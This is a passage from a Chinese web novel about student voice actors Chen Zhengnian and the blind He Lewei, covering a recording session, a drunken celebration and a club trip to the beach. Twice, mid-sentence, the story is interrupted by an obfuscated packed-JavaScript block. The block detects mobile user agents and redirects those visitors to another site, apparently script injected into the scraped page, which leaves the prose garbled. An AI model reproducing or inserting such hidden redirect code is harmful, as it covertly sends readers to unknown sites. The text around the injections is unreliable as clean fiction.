陈政年也不知道听没听见,慢悠悠地跟在后面,何乐为头一回走得比他快。 “唉!”何乐为挠挠头,不打算想了,陈政年对他是特别的,这个他已经能确定。 后面的日子,是更高强度的学习和训练,《青山之行》按时开机,在主役录制完绝大部分剧情之后,何乐为的戏份也提上日程。 “别紧张,按着练习来就好,不要求一次过,但是能一次过最好。”谢泽霖担任这一次的监制。 配音导演不是陈政年,而是比陈政年大五六届的师兄,何乐为不是很熟,但知道这位师兄是聆音社团的创始人,在社会工作好几年了,听说赚了不少钱,因为放不下配音,最终选择回来。 这也是聆音势头渐起的原因,社团很快就能与学校分离,独立出来,成为工作室。 而他们现任老大陈政年,不是主役,也不是导演,只配了个说重不重,说轻不轻的角色,据说还是他自己选的。 “他说忙,但我觉得这就是借口,他其实是想满足自己的私l欲!” 何乐为问什么私l欲,谢泽霖没告诉他,但当知道陈政年将要配的角色是一个冷漠无情、自私自利的大魔头的时候,何乐为顿悟了。 陈政年不是有私l欲,只是这次不想演了,他要以“X”的身份做一次自己。 当然,这个自己,大概是陈政年眼中的自己。 何乐为上场了,万幸他没感觉多紧张,身边都是熟悉的人,导演的脾气也很好,给他的指导都非常专业。 几天录下来竟然特别顺利,然而最后也是最难的一场戏随着时间推移、悄无声息来临。 青宵之死,之所以说难,是因为这场戏有很多需要自己配的音效,比如说中箭该发出什么的声音,掉到崖底又该发出什么的声音。 何乐为刚开始学还有点放不开,觉得中二,小时候在盲校才会听见男孩子嘴里老发出怪声。 后来习惯了,还是觉得难,谢泽霖说实在没办法就后期处理,但他不想,他希望这一段戏可以更自然。 而且这最后一场,也是他跟陈政年的对手戏,第一次和偶像同台配音,谁不紧张? 不过等到正式录制,陈政年坐在身边,伸手就能抓住的地方,何乐为竟然感觉很安心,有种就算犯了错也有人会兜底的感觉。 万幸,他没犯什么大错误。 只是在拟声的部分,配了好几遍,导演和何乐为都不太满意。 还是陈政年随手捶了他一拳,何乐为吃痛发出一声“呃!” “维持这个感觉,把“呃”发成“h”音,尾音拉长,直到消失。”陈政年指点他。 导演又再喊一次:“action!” “我要你的命。”大魔头厉声叱喝,挥剑直指少年。 青宵一个箭步,飞扑过去,猛地将少年推开,剑尖顿时刺破心脏,他疼得发出声音,最终倒在地上。 大魔头没刺中目标,不悦地拧起眉毛,一脚把青宵踹下悬崖,寒声:“碍事的东西。” 何乐为再一次感叹陈政年与大魔头的适配程度,就跟自己身边真坐了一个罪大恶极的杀人狂那样,心里开始发毛。 但故事里的青宵并不会害怕,他的台词只剩下一句了,跌在几十米高的崖底,青宵粉身碎骨,心里还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14092608|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后一个念头。 “哥哥,我好疼,但是他不会死了,我也好高兴。” 何乐为轻声念出这句心里话,代替青宵流下结局的那滴眼泪。 “卡,过了。”导演的声音如同天籁,大家一阵起哄,边鼓掌边祝贺整部剧完美收官。 “别高兴得太早,”导演笑说,“后期还需要制作团队的努力。” 吴苏雅两手一摊,“这就与我们无关咯。” “不管,我们辛苦了整整一个多月,要去庆祝。”谢泽霖胡闹道。 他开了这个口,附和的人立马多起来:“导演请客!” 导演扛不住众人压力,只得答应:“行,今晚就去。” 于是这天晚上,何乐为又跟着大家在外面简单地开了个庆功宴。 “都还没修音呢,这群家伙就要庆功。”导演跟陈政年吐槽,何乐为就坐在旁边,把话都偷听了个尽。 谁知道陈政年也不跟导演站一条线:“没什么毛病,这部剧肯定会火。万一没火,先吃一顿更不亏了。” “哎,你变了啊,你以前不这样。”导演大惊。 何乐为听了,哈哈直笑,现在的陈政年有点接地气儿。 “笑什么,再笑,罚你喝酒。”导演朝何乐为说。 何乐为霎时大惊,“不喝不喝,那玩意儿太苦啦。” “这你就不懂了,酒可是好东西啊,你觉得苦,是因为你没品到好酒。” 导演年纪就比他们大个几岁,开口却染了满身老古董的坏毛病。 何乐为有些犹豫,人情世故他懂得不多,但也在努力学。他不想以后遇见要喝酒的情况,做扫兴的那个人。 “鸡尾酒要不要试试?”陈政年突然问,还饶有兴致地补了句:“甜的。” 这家餐厅有一片调酒区,调酒师技术还算可以,况且鸡尾酒度数也不高。 “甜的?还有甜的酒?” 陈政年想说甜的酒多了去,但开口却格外温和:“我给你点一杯,不喜欢就给我喝。” “好哦。”何乐为乖巧地学着书里的描写点了点头。 旁边的导演越看越不对劲,他没见过这样的陈政年,一时惊讶地合不拢下巴。 见人吃得差不多,用酒杯碰了陈政年的,“抽根烟,去吗?” 陈政年抬起半边眼皮:“我不抽。” “我知道,我抽,我们聊聊。” 陈政年不认为他们之间有什么话需要到私底下去聊,不过对方是目前的顶头上司,面子他还是会给。 可惜导演自以为跟陈政年还算熟,站在走廊刚点起支烟,会被人勒令掐了。 “味儿大。”陈政年毫不客气地说。 “行,就你龟毛。”导演真掐了烟,转口随意问:“你跟那个盲人怎么认识的?” 陈政年蹙一下眉:“他有名字。” “啊,那你跟乐为怎么认识的?”导演从善如流地改口。 陈政年不着他的道:“你到底想问什么?” 导演尴尬地咳嗽两声,像是在酝酿什么,许久才直言:“男人也可以喜欢男人,你知道吧?” 陈政年先是一愣,紧接着立刻意识到对方的意思,颇感荒谬地笑道:“我知道,所以呢?” “你对他挺好。”导演陈述说。 “谁说对他好就是喜欢他?”陈政年脸上没了表情。 导演却看着他,摇摇头:“问题是,你对谁好过?” 22. 例外 喜欢何乐为?陈政年从来没有想过。 他不清楚怎样才算喜欢,他没有喜欢过什么东西,更别说人。 谈话不了了之,导演没问出来什么,陈政年也没说什么。 只是回到餐桌时,看见何乐为倒在醉鬼谢泽霖身上,除了突如其来的不适,心里还多了一点异样的感情。 “起来了,走了。”陈政年不耐烦地去拉他,喝醉的人像头死猪,哪怕再瘦也不是随手一拉就能拉起来的。 陈政年不由想起何乐为第一次喝醉的那个夜晚,那次还勒令人不能再碰酒,这次却怂恿对方喝鸡尾酒。 只不过是看见人为难的神情,他心就软了。 对待何乐为,他确实有很多始料不及和意料之外。 但他依然不认为这是喜欢,也许小瞎子对他来说是有点特别,但也仅此而已。 “不走,我要喝鸡尾酒,好喝。”何乐为有些亢奋,高呼道。 周围没醉的人便看着他笑,一杯12度的鸡尾酒也能喝醉,他们乐为多少是惹人怜爱。 陈政年直接把人背起来,敷衍地打个招呼:“走了,你们慢用。” 这回小瞎子安静了,枕着陈政年的肩头睡了一路,到家才开始闹腾。 “团建,我也想去。”他自己会脱鞋,摸着家具精准躺到沙发上,两只手心软塌塌地盖上肚子。 他对这个房子的熟悉程度,甚至超过了屋主本人。 “团建,谁说的?”陈政年把他乱丢的鞋子摆好,又取出拖鞋放到沙发边。 何乐为看见顶上强烈的光,躺着看更亮,他眨两下眼皮,“阿、阿霖说的,要团建,去海边,我也想去。” 陈政年没觉得这是什么难事,不怎么走心道:“那就去。” 何乐为沉默了,眼睛一直睁着,直到被天花板的灯照得眼睛发疼,开始往外渗出生理性眼泪。 他没有出过远门,不知道有没有能力照顾好自己。 当然,他对自己是有信心的,只是没法打保票。 “怕了?”陈政年看见他冒出来的泪珠子,拇指顺手抹掉,调侃说:“不应该啊,你不是住水房都不怕吗?” “谁说我怕了。”何乐为忿忿道,又是惆怅:“团建要交两百块钱。” 小瞎子也是小财奴、吝啬鬼,工资才发没多久,不声不响在陈政年枕头底下塞了房费和伙食费,其余的便收进小金库里,不肯动用。 “那怎么办呢?”陈政年逗他。 何乐为被问到了,眉心拧起来考虑了很久,最后瘪嘴:“只能不去了,唔……好惨一瞎子。” 陈政年没忍住笑出声,伸手捏了捏人气鼓鼓的脸颊。 “干嘛捏我,我也要捏回去!”醉鬼何乐为掌心拍在陈政年胸口上,发出“啪”一声巨响。 “咦?”他歪了歪脑袋,“软软的,怎么变软了?” 五指微微弯曲,爪子特别不老实地捏几下,脸上的表情越来越新奇,“嘿嘿,好好玩。” “何乐为,找抽。”陈政年眸光晦暗,心口忽然闪过丝丝异样的情绪,一股热流开始往身下窜。 意识到那是什么,他脸上的表情霎时凝滞,大脑一片空白。 陈政年开始怀疑,导演说的话是否也有那么几分道理,至少生理上的反应无法隐瞒。 他扣紧何乐为的手腕,另一只手挟住细腰,猛然翻转,炒菜那样将人翻了个面。 接着狠狠朝两瓣臀肉拍下去。 何乐为疼得乱叫,“干嘛呀!打我干嘛!” “是你自己找打。”酒意越发上头,手下的力道也控制不住,何乐为反抗,趁着空档,“嘶溜”一下从沙发上站起来。 他胡乱挥动拳脚,要揍陈政年,混混沌沌的,都分不清人,还对六岁之前看过的儿童频道耿耿于怀,“怪兽,哪里跑!” 太荒谬了,陈政年稍稍清醒,想着把人扛进房间里算了,谁知道刚伸手,何乐为脚崴一下,与他错身迅速往茶几上扑。 陈政年手急眼快,转身挡到人身前,接住何乐为,然而惯性太大,不是一瞬间就能刹住车的,最终两个人还是摔在茶几上。 桌子没事,陈政年的腰要断了。 何乐为被这一摔吓得惊醒,一头雾水地趴在陈政年身上:“怎么了?怎么了?” “起来。”陈政年呼吸不畅,抬手拍他。 何乐为发现自己正以一种奇怪的方式趴着,身下是陈政年,而他两只手撑在了桌子上,把对方框进怀里。 何乐为爬起来,在颅内试图还原事情经过,然而失败了。 原谅瞎子的想象力匮乏。 他听见陈政年的抽气声,“受伤了吗?”何乐为一怔,急得双手摸过去。 “没事。”陈政年坐起来,动动腰,他能确定没伤着筋骨。 “哎呀,到底是什么事啊。”何乐为拍拍脑袋,头疼欲裂,还混着眩晕,眼睛冒星星了,“好想吐。” 陈政年立刻捏住他的脖子,像拎猫一样,把人提起来,“忍着,现在不许吐。” 他隐约知道对方把他带到卫生间去了,听见一句“吐吧”,何乐为就稀里哗啦,飞流直下。 “你以后别喝了,一滴酒也别沾。”陈政年给人下了死命令。 但其实何乐为没觉得有多严重,他酒喝得不多,只不过因为肠胃不好,一时半会适应不了这种用各式材料特调的鸡尾酒。 吐完之后小瞎子翻身就上床睡了,还打小鼾,陈政年又气又无奈,给人掖了掖被角,转身关灯关门。 何乐为于他而言算什么,他不清楚,只知道家里如果没有他,日子会比以前更无聊。 如果可以,就把小瞎子留下来,一直这样走下去好像也不错。 一周后,随着幕后制作组的努力,《青山之行》正式收工,向上递交审核,而聆音社团的团建活动终于也确定下来。 由于聆音还属于学校社团的性质,费用依旧需要大家AA,免不了,但可以选择自愿参加。 陈政年一开始要替何乐为交,小瞎子不乐意,说欠的够多了,不想再添负债。 然而他掏钱的模样,着实令人牙疼,连谢泽霖都没忍心看下去,说:“干脆我们一人5块,替你出了得了。” 闻言,何乐为“唰”一下把钱转过去,“一人五块,那不得多出几十个债主来。”他可玩不起。 当晚收拾行李,瞎子第一次出远门苦恼得不行,站到陈政年房门口:“你带什么啊?” “衣服。”陈政年正在处理一份材料,他对旅行没什么期待,但是何乐为要去,他也就把工作挪一挪,尽量在出门前完成。 “除了衣服就没了?”何乐为问。 陈政年终于抬起头:“还能有什么,缺的到那边再买就好了。” 那可不行,他没有那么多钱,何乐为还是决定去问问阿霖,刚转身,又想起来一件很重要的事:“对了,你有没有多余的背包啊?” 何乐为的背包是高中那时的书包,当初搬到陈政 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14092609|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年家就背着,后来一直充当上班的通勤包。 今天收拾一下,居然发现底下破了个洞,这样背出去肯定要掉东西的。 “你东西有多少?”陈政年问。 何乐为也不知道,他衣服本来就不多,估计也带不了几件。 陈政年看了眼他手里捧的几件衣服,最后说:“跟我放一起吧。” 两个人的东西一齐塞进行李箱,竟然刚好填满。 小瞎子衣服叠得东扭西歪,混在整齐的衣服堆里,不太好看,陈政年却感觉有种说不上来的和谐。 像规整二十多年的人生,突然闯进来一段混乱的例外,从此之后心就不安定了。 两天后,他们拖着装有两个人最贴身衣物的箱子,坐上大巴,来到海边。 何乐为落地便闻到一股咸湿的气味,鼻子没忍住猛吸几口,感叹道:“啊,海的味道。” “我知道。” “波力海苔夹心脆……” 也不知道谁接的话,把何乐为逗得不行,广告台词他小时候也听过,可洗脑了。 陈政年就站在旁边看他笑,等人笑完好跟上来。 “走吧走吧,乐为跟着我。”吴苏雅去拉何乐为,完全把他们老大给忽略了。 何乐为笑嘻嘻地答应,陈政年看他们一眼,拖着行李箱先走。 然而后面人声叽叽喳喳,聊天内容不想听也被迫听进去。 吴苏雅惊奇地大叫:“乐为你腿好白!” 在车里光线暗没注意,下了车,海边太阳大,何乐为穿着短裤的双腿白得发亮。 “天啊!”女孩子们就一窝蜂围在周边,“小腿真细,是我的就好了呜呜呜。” “擦防晒了吗?你这个得擦,不然在海边晒两天要脱一层皮的。” 何乐为一脸惊恐,说没有,他也不经常出去玩,今天才知道还有防晒霜这种东西。 “我有,一会儿我拿给你。”吴苏雅说。 走到半路,拿行李箱的代表们先进酒店办理入住,其他人继续往海边去。 何乐为正跟女孩们聊得热火朝天,脚突然踩上一片软软的沙地,他穿了阿霖让带的人字拖,沙子就顺着人字跑进来,特别扎脚。 “可以把鞋脱了。”谢泽霖说。 何乐为非常信任他,依言踩在沙地上,只一脚,给人烫得“嗷嗷”叫。 海边的沙子,原来是烫的。 “阿霖,你又耍人玩!”有女生嗔怪。 还好只是一下,何乐为把脚收回鞋子里,沙子更多了。 “一会儿到海边洗洗去。”吴苏雅说。 他委屈巴巴回答:“好。”耳尖忽而动了动,听见浪拍打岸边的声音,神情霎时变了。 真正的大海!不是在耳机里听见的。 何乐为又激动起来,想要快些靠近。 “别急啊,先擦防晒。” “等不了了,我不用啦。”何乐为高呼。 女生们比他还要关心他的身体,不由分说地把人摁到躺椅上,“小少爷,今天我们伺候你得了。” 大家根本没把他当异性看,几个人挤了防晒,五六只手同时往他手臂和裸l露的小腿上抹。 “这样不好吧,我自己来!”何乐为受宠若惊,挣扎着要自己起身。 谢泽霖就站在旁边看戏,边笑边调侃:“艳福不浅哦。” 结果一转头,撞见陈政年,他一愣,不知道人在这儿站了多久,只是表情……看着要变天了。